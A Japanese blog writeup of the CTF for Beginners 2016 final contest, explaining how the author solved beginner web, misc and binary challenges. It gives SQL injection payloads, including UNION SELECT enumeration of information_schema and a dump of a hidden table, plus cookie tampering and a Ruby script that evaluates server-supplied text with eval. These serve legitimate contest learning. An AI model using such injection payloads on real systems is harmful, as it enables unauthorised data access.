CTF
seccon
writeup
ctf4b

CTF for ビギナーズ 2016 FINAL @東京 Writeup

More than 1 year has passed since last update.

http://2016.seccon.jp/news/#131

一度参加してみたかったCTF for ビギナーズ。
オンサイトで400人近くが集まったのは壮観でしたね。

1200点で13位(324人中)でした。がんばった。

Welcome (Misc 100)

チュートリアル。問題文に書いてあるフラグを送信すればOK。

てけいさん for ビギナーズ (Misc 200)

Webサイトで簡単な四則演算の問題が出る。100問連続正解でフラグ。

RubyのMechanize gemを使って自動化した。
たいていのサイトはCookieにセッション情報を持つけど、Mechanizeはそのあたりの状態の保持を自動で行ってくれる。

require 'mechanize'

agent = Mechanize.new

page = agent.get('http://172.20.1.31/php_math.php')

begin
  for i in 0..100
    puts page.body

    page.body.match(%r|<div>(.+?)</div>|)
    ans = eval($1)

    form = page.forms.first

    form.action = 'http://172.20.1.31/php_math.php'

# pp ans
    form.answer = ans

    page = agent.submit(form)
# pp page.body

  end
rescue Mechanize::ResponseCodeError => exception
  pp exception.page.body
end

意図的なのか不具合なのか、いくつか意地悪な箇所がある。

  • formのpost先が404 Not Found
    • /php_math.php に書き換え
  • 100問解いた後のページが500 Internal Server Error
    • でもbodyにフラグが書いてある
    • Mechanizeはエラーコードが返ってくると例外が飛んでしまうので、キャッチして対処

Classical Injection (Web 100)

たしか' OR 1=1 --を入れたらフラグが取れた。

May the extensions be with you. (Web 100)

Cookieにadmin=falseという値があるので、trueに書き換えたらフラグ。

もぐもぐ(・~・) (Web 200)

レストランの検索サイト。キーワード検索できる。

試しに' OR 1=1 -- (最後にスペースが必要だったはず) を入れるとデータが全件出てくるようなので、SQLインジェクションできそう。

次に
' union select null --
' union select null, null --
' union select null, null, null --
' union select null, null, null, null --
とやっていくと、nullが4つでエラーが出なくなるので、テーブルは4列と分かる。

次にテーブルの構造を調べる。SQLiteのコマンドは通らなかったが、下記でいけた。
' union select null, null, table_name, column_name from information_schema.columns --

下記が表示される。

(snip)

ごはん :
おみせ :secret_umasugi
ひとこと:id

ごはん :
おみせ :secret_umasugi
ひとこと:gohan

ごはん :
おみせ :secret_umasugi
ひとこと:shop

ごはん :
おみせ :secret_umasugi
ひとこと:comment

ごはん :
おみせ :umai
ひとこと:id

ごはん :
おみせ :umai
ひとこと:gohan

ごはん :
おみせ :umai
ひとこと:shop

ごはん :
おみせ :umai
ひとこと:comment

secret_umasugiテーブルがいかにも怪しい。
' union select id, gohan, shop, comment from secret_umasugi -- でフラグが取れた。

一歩一歩サーバの奥を探っていく感じで、この問題が一番面白かった。
解いた人が少なかったので、恥ずかしながら質疑応答の時間に解説させていただきました。手際が悪くてすみませんでした。

HiddenFlag (Binary 100)

.dataセクションにフラグがあった。

$ objdump -s -j .data bin100_1

bin100_1:     ファイル形式 elf32-i386

セクション .data の内容:
 804a018 00000000 00000000 63746634 627b666c  ........ctf4b{fl
 804a028 34675f31 6e5f6434 37345f35 33676d33  4g_1n_d474_53gm3
 804a038 6e377d00                             n7}.            

stringsでも解ける。100点問題だからまずそっちを試すのがよさそう。

復習 (Binary 200)

逆アセンブルがテキストで与えられるので読む問題。
flag形式:ctf4b{Stage1の答え_Stage2の答え}

0804865f <Stage1>:
 804865f:       55                      push   ebp
 8048660:       89 e5                   mov    ebp,esp
 8048662:       83 ec 10                sub    esp,0x10
 8048665:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048668:       c7 00 0a 88 04 08       mov    DWORD PTR [eax],0x804880a
 804866e:       90                      nop
 804866f:       90                      nop
 8048670:       c7 45 f8 03 00 00 00    mov    X,0x3
 8048677:       8b 55 f8                mov    edx,X     ; edx = 3
 804867a:       89 d0                   mov    eax,edx   ; eax = 3
 804867c:       c1 e0 03                shl    eax,0x3   ; eax = 24
 804867f:       29 d0                   sub    eax,edx   ; eax = 21
 8048681:       89 45 fc                mov    Y,eax     ; Y = 21
 8048684:       8b 45 fc                mov    eax,Y     ; eax = 21
 8048687:       83 c0 02                add    eax,0x2   ; eax = 23
 804868a:       89 45 f8                mov    X,eax     ; X = 23
 804868d:       90                      nop
 804868e:       90                      nop
 804868f:       8b 45 f8                mov    eax,X     ; 23
 8048692:       c9                      leave  
 8048693:       c3                      ret    

08048694 <Stage2>:
 8048694:       55                      push   ebp
 8048695:       89 e5                   mov    ebp,esp
 8048697:       83 ec 10                sub    esp,0x10
 804869a:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 804869d:       c7 00 11 88 04 08       mov    DWORD PTR [eax],0x8048811
 80486a3:       90                      nop
 80486a4:       90                      nop
 80486a5:       c7 45 f8 01 00 00 00    mov    X,0x1
 80486ac:       c7 45 fc 01 00 00 00    mov    Y,0x1
 80486b3:       eb 0e                   jmp    80486c3 <Stage2+0x2f>
 80486b5:       8b 45 f8                mov    eax,X
 80486b8:       0f af 45 fc             imul   eax,Y
 80486bc:       89 45 f8                mov    X,eax
 80486bf:       83 45 fc 01             add    Y,0x1
 80486c3:       83 7d fc 05             cmp    Y,0x5
 80486c7:       7e ec                   jle    80486b5 <Stage2+0x21>
 80486c9:       90                      nop
 80486ca:       90                      nop
 80486cb:       8b 45 f8                mov    eax,X
 80486ce:       c9                      leave  
 80486cf:       c3                      ret 

地道に追っていく。上のように、ローカル変数をX, Yのように置換すると読みやすい。
Stage2はforループっぽいので1*2*3*4*5 = 120かなと斜め読みしたら正解だった。

UnusedFunction (Binary 200)

genflagという使われてない関数がある。
先頭でスタックにフラグっぽいものを書き込んでいる。

 80484c6:       c6 45 d5 63             mov    BYTE PTR [ebp-0x2b],0x63
 80484ca:       c6 45 d6 74             mov    BYTE PTR [ebp-0x2a],0x74
 80484ce:       c6 45 d7 66             mov    BYTE PTR [ebp-0x29],0x66
 80484d2:       c6 45 d8 34             mov    BYTE PTR [ebp-0x28],0x34
 80484d6:       c6 45 d9 62             mov    BYTE PTR [ebp-0x27],0x62
 80484da:       c6 45 da 7b             mov    BYTE PTR [ebp-0x26],0x7b
 80484de:       c6 45 db 34             mov    BYTE PTR [ebp-0x25],0x34
 80484e2:       c6 45 dc 6e             mov    BYTE PTR [ebp-0x24],0x6e
 80484e6:       c6 45 dd 34             mov    BYTE PTR [ebp-0x23],0x34
 80484ea:       c6 45 de 6c             mov    BYTE PTR [ebp-0x22],0x6c
 80484ee:       c6 45 df 79             mov    BYTE PTR [ebp-0x21],0x79
 80484f2:       c6 45 e0 7a             mov    BYTE PTR [ebp-0x20],0x7a
 80484f6:       c6 45 e1 33             mov    BYTE PTR [ebp-0x1f],0x33
 80484fa:       c6 45 e2 5f             mov    BYTE PTR [ebp-0x1e],0x5f
 80484fe:       c6 45 e3 75             mov    BYTE PTR [ebp-0x1d],0x75
 8048502:       c6 45 e4 6e             mov    BYTE PTR [ebp-0x1c],0x6e
 8048506:       c6 45 e5 75             mov    BYTE PTR [ebp-0x1b],0x75
 804850a:       c6 45 e6 35             mov    BYTE PTR [ebp-0x1a],0x35
 804850e:       c6 45 e7 33             mov    BYTE PTR [ebp-0x19],0x33
 8048512:       c6 45 e8 64             mov    BYTE PTR [ebp-0x18],0x64
 8048516:       c6 45 e9 5f             mov    BYTE PTR [ebp-0x17],0x5f
 804851a:       c6 45 ea 66             mov    BYTE PTR [ebp-0x16],0x66
 804851e:       c6 45 eb 75             mov    BYTE PTR [ebp-0x15],0x75
 8048522:       c6 45 ec 6e             mov    BYTE PTR [ebp-0x14],0x6e
 8048526:       c6 45 ed 63             mov    BYTE PTR [ebp-0x13],0x63
 804852a:       c6 45 ee 37             mov    BYTE PTR [ebp-0x12],0x37
 804852e:       c6 45 ef 31             mov    BYTE PTR [ebp-0x11],0x31
 8048532:       c6 45 f0 30             mov    BYTE PTR [ebp-0x10],0x30
 8048536:       c6 45 f1 6e             mov    BYTE PTR [ebp-0xf],0x6e
 804853a:       c6 45 f2 7d             mov    BYTE PTR [ebp-0xe],0x7d
 804853e:       c6 45 f3 00             mov    BYTE PTR [ebp-0xd],0x0

その後にロジックが続くのでエンコードされてるかなと思ったけど、0x60近辺の値が多いのでアルファベットの平文かなとアタリをつけて、そのまま文字列に変換したら正解。

arr = [ 0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x34, 0x6e, 0x34, 0x6c, 0x79, 0x7a, 0x33, 0x5f, 0x75, 0x6e, 0x75, 0x35, 0x33, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x37, 0x31, 0x30, 0x6e, 0x7d, 0x0, ]

arr.each do |e|
  print e.chr
end
ctf4b{4n4lyz3_unu53d_func710n}

まとめ

CTFの参加経験は何度かあるのですが、独学なので基礎をちゃんと押さえようと思って参加しました。
資料も講義もとてもわかりやすく、いくつか知らないツールやテクニックも学べてよかったです。
なにより現場でCTFをやるのは楽しかったです。運営の皆様ありがとうございました。

他の方のWriteup